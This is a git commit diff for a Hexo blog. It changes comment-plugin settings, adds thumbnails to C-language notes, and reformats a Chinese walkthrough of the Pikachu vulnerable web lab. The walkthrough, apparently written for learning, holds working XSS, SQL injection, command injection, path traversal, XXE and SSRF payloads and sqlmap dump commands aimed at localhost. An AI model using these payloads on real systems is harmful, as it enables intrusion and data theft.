修改部分旧文章

This commit is contained in:
2025-10-12 23:35:19 +08:00
parent 8e1eb05726
commit 3441c607a5
7 changed files with 58 additions and 54 deletions

View File

@ -364,10 +364,10 @@ comment:
waline:
serverUrl: https://hexo-waline.atdunbg.xyz # Waline server URL. e.g. https://example.example.com
lang: zh-CN # Waline language. e.g. zh-CN, en-US. See https://waline.js.org/guide/client/i18n.html
emoji: [] # Waline emojis, see https://waline.js.org/guide/features/emoji.html
emoji: ["https://unpkg.com/@waline/emojis@1.2.0/bilibili", "https://unpkg.com/@waline/emojis@1.2.0/soul-emoji", "https://unpkg.com/@waline/emojis@1.2.0/qq"] # Waline emojis, see https://waline.js.org/guide/features/emoji.html
recaptchaV3Key: # Google reCAPTCHA v3 key. See https://waline.js.org/reference/client/props.html#recaptchav3key
turnstileKey: # Turnstile key. See https://waline.js.org/reference/client/props.html#turnstilekey
reaction: false # Waline reaction. See https://waline.js.org/reference/client/props.html#reaction
reaction: true # Waline reaction. See https://waline.js.org/reference/client/props.html#reaction
# Gitalk comment system. See https://github.com/gitalk/gitalk
gitalk:
clientID: # GitHub Application Client ID

View File

@ -3,6 +3,7 @@ title: C语言-1
date: 2022-11-01 15:40:14
tags: [C语言, 笔记]
categories: 笔记
thumbnail: "https://t.alcy.cc/fj"
---
## C 简介

View File

@ -3,6 +3,7 @@ title: C语言-2
date: 2022-11-22 12:12:12
tags: [C语言, 笔记]
categories: 笔记
thumbnail: "https://t.alcy.cc/fj"
---

View File

@ -3,6 +3,7 @@ title: C语言-3
date: 2022-11-23 20:56:10
tags: [C语言, 笔记]
categories: 笔记
thumbnail: "https://t.alcy.cc/fj"
---

View File

@ -3,6 +3,7 @@ title: C语言-4
date: 2022-12-01 16:24
tags: [C语言, 笔记]
categories: 笔记
thumbnail: "https://t.alcy.cc/fj"
---

View File

@ -3,6 +3,7 @@ title: C语言-5
date: 2022-12-20 20:02
tags: [C语言, 笔记]
categories: 笔记
thumbnail: "https://t.alcy.cc/fj"
---
## 打开与关闭文件

View File

@ -6,13 +6,14 @@ categories: Pikachu
thumbnail: "https://hexoimage.pages.dev/file/43665ba95443e49885078.jpg"
---
## Pikachu练习记录
## 0x01 Pikachu靶场
Pikachu是一个带有漏洞的Web应用系统在这里包含了常见的web安全漏洞。 如果你是一个Web渗透测试学习人员且正发愁没有合适的靶场进行练习那么Pikachu可能正合你意。
靶场链接:[Pikachu ](https://github.com/zhuifengshaonianhanlu/pikachu)
靶场链接:[Pikachu](https://github.com/zhuifengshaonianhanlu/pikachu)
## 0x02 暴力破解
@ -61,24 +62,22 @@ Pikachu是一个带有漏洞的Web应用系统在这里包含了常见的web
![反弹型xss1](https://s1.vika.cn/space/2023/08/12/10c035bdcf644ccb94a0a7a37753a2a2)
```
```Plaintext
输入框直接上脚本
raw
<!-- <script>alert('hello')</script> -->
endraw
<script>alert('hello')</script>
```
### 反射型xsspost
```
```Plaintext
登陆进去后输入框内输入以下内容
<!-- <script>alert(document.cookie)</script> -->
<script>alert(document.cookie)</script>
```
### 存储型xss
```
<!-- <script>alert(document.cookie)</script> -->
```Plaintext
<script>alert(document.cookie)</script>
```
### DOM型xss
@ -89,7 +88,7 @@ Pikachu是一个带有漏洞的Web应用系统在这里包含了常见的web
输入下方文本
```
```Plaintext
#' onclick=alert('hello')>
```
@ -97,7 +96,7 @@ Pikachu是一个带有漏洞的Web应用系统在这里包含了常见的web
### DOM型xss-x
```
```Plaintext
' onclick=alert('hello')>
```
@ -107,9 +106,9 @@ Pikachu是一个带有漏洞的Web应用系统在这里包含了常见的web
### xss之盲打
```
```Plaintext
留言板输入:
<!-- <script>alert(document.cookie)</script> -->
<script>alert(document.cookie)</script>
```
![xss之盲打1](https://s1.vika.cn/space/2023/08/12/d152522ab50d4633aa4104e1caa5f4fe)
@ -120,13 +119,13 @@ Pikachu是一个带有漏洞的Web应用系统在这里包含了常见的web
大小写绕过
```
<!-- <ScRipt>alert(1)</ScriPt> -->
```Plaintext
<ScRipt>alert(1)</ScriPt>
```
### xss之htmlspecialchars
```
```Plaintext
' onclick='alert(1)'
' onclick='javascript:alert(document.cookie)'
@ -136,7 +135,7 @@ Pikachu是一个带有漏洞的Web应用系统在这里包含了常见的web
js伪协议绕过
```
```Plaintext
javascript:alert(1)
```
@ -146,10 +145,10 @@ javascript:alert(1)
![xss之js输出1](https://s1.vika.cn/space/2023/08/12/752caaecac864c0b9a9a89f9bae62685)
可以先把前面的<script>进行闭合构造以下payload即可
可以先把前面的\<script\>进行闭合构造以下payload即可
```
<!-- </script><script>alert(1)</script> -->
```Plaintext
</script><script>alert(1)</script>
```
## 0x04 CSRF
@ -170,7 +169,7 @@ javascript:alert(1)
![数字型注入1](https://s1.vika.cn/space/2023/08/12/61878eb5117346278df8e6d21d484797)
```
```Plaintext
id=1
#正常回显
@ -190,7 +189,7 @@ id=1 or 1=1
**2无脑sqlmap**
```
```Plaintext
sqlmap.py -u http://127.0.0.1/vul/sqli/sqli_id.php --data "id=1" --batch -D pikachu -T member --dump
```
@ -198,7 +197,7 @@ sqlmap.py -u http://127.0.0.1/vul/sqli/sqli_id.php --data "id=1" --batch -D pika
### 字符型注入
```
```Plaintext
123
#正常
@ -230,7 +229,7 @@ sqlmap.py -u http://127.0.0.1/vul/sqli/sqli_id.php --data "id=1" --batch -D pika
**sqlmap**
```
```Plaintext
sqlmap.py -u "http://127.0.0.1/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" -D pikachu -T member --batch --dump
```
@ -240,7 +239,7 @@ sqlmap.py -u "http://127.0.0.1/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%
**sqlmap**
```
```Plaintext
sqlmap.py -u "http://127.0.0.1/vul/sqli/sqli_search.php?name=1&submit=%E6%90%9C%E7%B4%A2" --batch -D pikachu -T member --dump
```
@ -252,13 +251,13 @@ sqlmap.py -u "http://127.0.0.1/vul/sqli/sqli_search.php?name=1&submit=%E6%90%9C%
那就构造以下payload
```
```Plaintext
123') or 1=1 #
```
**sqlmap**
```
```Plaintext
python sqlmap.py -u "http://127.0.0.1/vul/sqli/sqli_x.php?name=1&submit=%E6%9F%A5%E8%AF%A2" --batch -D pikachu -T member --dump
```
@ -268,7 +267,7 @@ python sqlmap.py -u "http://127.0.0.1/vul/sqli/sqli_x.php?name=1&submit=%E6%9F%A
![报错注入1](https://s1.vika.cn/space/2023/08/12/fe555fea57e745c9b9428ea38bb4a2dd)
```
```Plaintext
' and extractvalue(1,concat('~',(select database()))) and '1'='1
' and updatexml(1,concat(0x7e,database(),0x7e),1) and '1'='1
@ -284,7 +283,7 @@ updatexml() 是mysql对xml文档数据进行查询的xpath函数
可以用“+”代替空格
```
```Plaintext
+and+updatexml(1,concat(0x7e,database(),0x7e),1)
```
@ -300,7 +299,7 @@ updatexml() 是mysql对xml文档数据进行查询的xpath函数
修改如下:
```
```Plaintext
' and extractvalue(1,concat(0x7e,(database()))) and '1'='1
' and updatexml(1,concat(0x7e,database(),0x7e),1) and '1'='1
@ -318,7 +317,7 @@ updatexml() 是mysql对xml文档数据进行查询的xpath函数
经测试是用 **** 进行闭合的
```
```Plaintext
kobe'
# 未查到username信息
@ -331,7 +330,7 @@ kobe'and length(database())=n#
burp抓包进行爆破数据库名字
```
```Plaintext
kobe' and substr(database(),1,1)='a'#
```
@ -347,7 +346,7 @@ kobe' and substr(database(),1,1)='a'#
**sqlmap**
```
```Plaintext
sqlmap.py -u "http://127.0.0.1/vul/sqli/sqli_blind_b.php?name=123&submit=%E6%9F%A5%E8%AF%A2" --batch
```
@ -361,7 +360,7 @@ sqlmap.py -u "http://127.0.0.1/vul/sqli/sqli_blind_b.php?name=123&submit=%E6%9F%
**sqlmap**
```
```Plaintext
sqlmap.py -u "http://127.0.0.1/vul/sqli/sqli_blind_t.php?name=123&submit=%E6%9F%A5%E8%AF%A2" --batch
```
@ -369,7 +368,7 @@ sqlmap.py -u "http://127.0.0.1/vul/sqli/sqli_blind_t.php?name=123&submit=%E6%9F%
引用大佬的链接[https://blog.csdn.net/aa2528877987/article/details/118569895 ](https://blog.csdn.net/aa2528877987/article/details/118569895)
```
```Plaintext
宽字节注入原理:
  GBK 占用两字节
@ -395,14 +394,14 @@ select * fromcms_user where username = ‘運’ or 1=1 limit 1,1# and passwo
### exec”ping”
```
```Plaintext
127.0.0.1&&dir
#执行完ping指令后同时执行dir指令
```
### exec”eval”
```
```Plaintext
直接输入 phpinfo();
```
@ -422,7 +421,7 @@ select * fromcms_user where username = ‘運’ or 1=1 limit 1,1# and passwo
### file inclusion(local)
```
```Plaintext
..\..\..\Users\sfd\Desktop\demo.txt
#直接访问电脑桌面的文件
```
@ -465,7 +464,7 @@ select * fromcms_user where username = ‘運’ or 1=1 limit 1,1# and passwo
添加了对文件进行判断有没有图片特征的函数直接用cmd命令合成一个图片码即可绕过
```
```Plaintext
copy /b a.png + a.php b.png
```
@ -477,13 +476,13 @@ copy /b a.png + a.php b.png
首先以lucy的身份进行登录然后可以看到lucy的信息
```
```Plaintext
http://127.0.0.1/vul/overpermission/op1/op1_mem.php?username=lucy&submit=%E7%82%B9%E5%87%BB%E6%9F%A5%E7%9C%8B%E4%B8%AA%E4%BA%BA%E4%BF%A1%E6%81%AF
```
这时我们直接修改url里的username将其指定为kobe,就可以直接查看kobe的信息
```
```Plaintext
http://127.0.0.1/vul/overpermission/op1/op1_mem.php?username=kobe&submit=%E7%82%B9%E5%87%BB%E6%9F%A5%E7%9C%8B%E4%B8%AA%E4%BA%BA%E4%BF%A1%E6%81%AF
```
@ -493,7 +492,7 @@ pikachu用户只有查看权限而admin用户有所有权限
首先登陆admin并添加用户然后可以获得一个url地址
```
```Plaintext
http://127.0.0.1/vul/overpermission/op2/op2_admin_edit.php
```
@ -503,7 +502,7 @@ http://127.0.0.1/vul/overpermission/op2/op2_admin_edit.php
### 目录遍历
```
```Plaintext
../../../../Users/sfd/Desktop/demo.txt
#访问桌面的一个demo.txt 文件
```
@ -524,7 +523,7 @@ php涉及到序列化的函数有两个分别是serialize()`和`unserialize()
序列化简单来说就是将一个**对象**转化成可以传输的**字符串**,反序列化就是相反的操作
```
```Plaintext
#举个例子
class S{
public $test="pikachu";
@ -549,14 +548,14 @@ class S{
反序列化
```
```Plaintext
$u=unserialize("O:1:"S":1:{s:4:"test";s:7:"pikachu";}");
echo $u->test; //得到的结果为pikachu
```
序列化和反序列化本身没有问题,但是如果反序列化的内容是用户可以控制的,且后台不正当的使用了PHP中的魔法函数,就会导致安全问题
```
```Plaintext
常见的几个魔法函数:
__construct()当一个对象创建时被调用
@ -589,7 +588,7 @@ $u=unserialize("O:1:"S":1:{s:4:"test";s:7:"pikachu";}");
前端将`$_POST['xml']`传递给变量`$xml,` 由于后台没有对此变量进行安全判断就直接使用`simplexml_load_string`函数进行xml解析, 从而导致xxe漏洞
```
```Plaintext
<!-- 打印hello world -->
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE note [
@ -612,7 +611,7 @@ $u=unserialize("O:1:"S":1:{s:4:"test";s:7:"pikachu";}");
修改url=后面的参数
```
```Plaintext
http://127.0.0.1/vul/urlredirect/urlredirect.php?url=https://baidu.com
```
@ -627,7 +626,7 @@ SSRF漏洞常用协议
通过url参数直接访问内部资源或者跳转到其他服务器页面
```
```Plaintext
HTTP(s):最常用到的一种协议可以用来验证是否存在SSRF漏洞探测端口以及服务。
file本地文件传输协议可以用来读取任意系统文件
dict:字典服务器协议dict是基于查询相应的TCP协议服务器监听端口2628。在SSRF漏洞中可用于探测端口以及攻击内网应用
@ -636,7 +635,7 @@ ghoper:互联网上使用的分布型的文件搜集获取网络协议,出现
例:
```
```Plaintext
//访问内网链接资源
http://127.0.0.1/vul/ssrf/ssrf_curl.php?url=http://127.0.0.1/vul/ssrf/ssrf_info/info2.php
@ -653,14 +652,14 @@ dict://192.168.1.66:80
利用file_get_content(“path”)利用传递的参数通过file参数访问内部资源或者跳转到其他服务器页面
```
```Plaintext
//直接读取内部文件
http://127.0.0.1/vul/ssrf/ssrf_fgc.php?file=D:/a.txt
```
php伪协议读取文件
```
```Plaintext
php://filter/read=convert.base64-encode/resource=D:/a.txt
```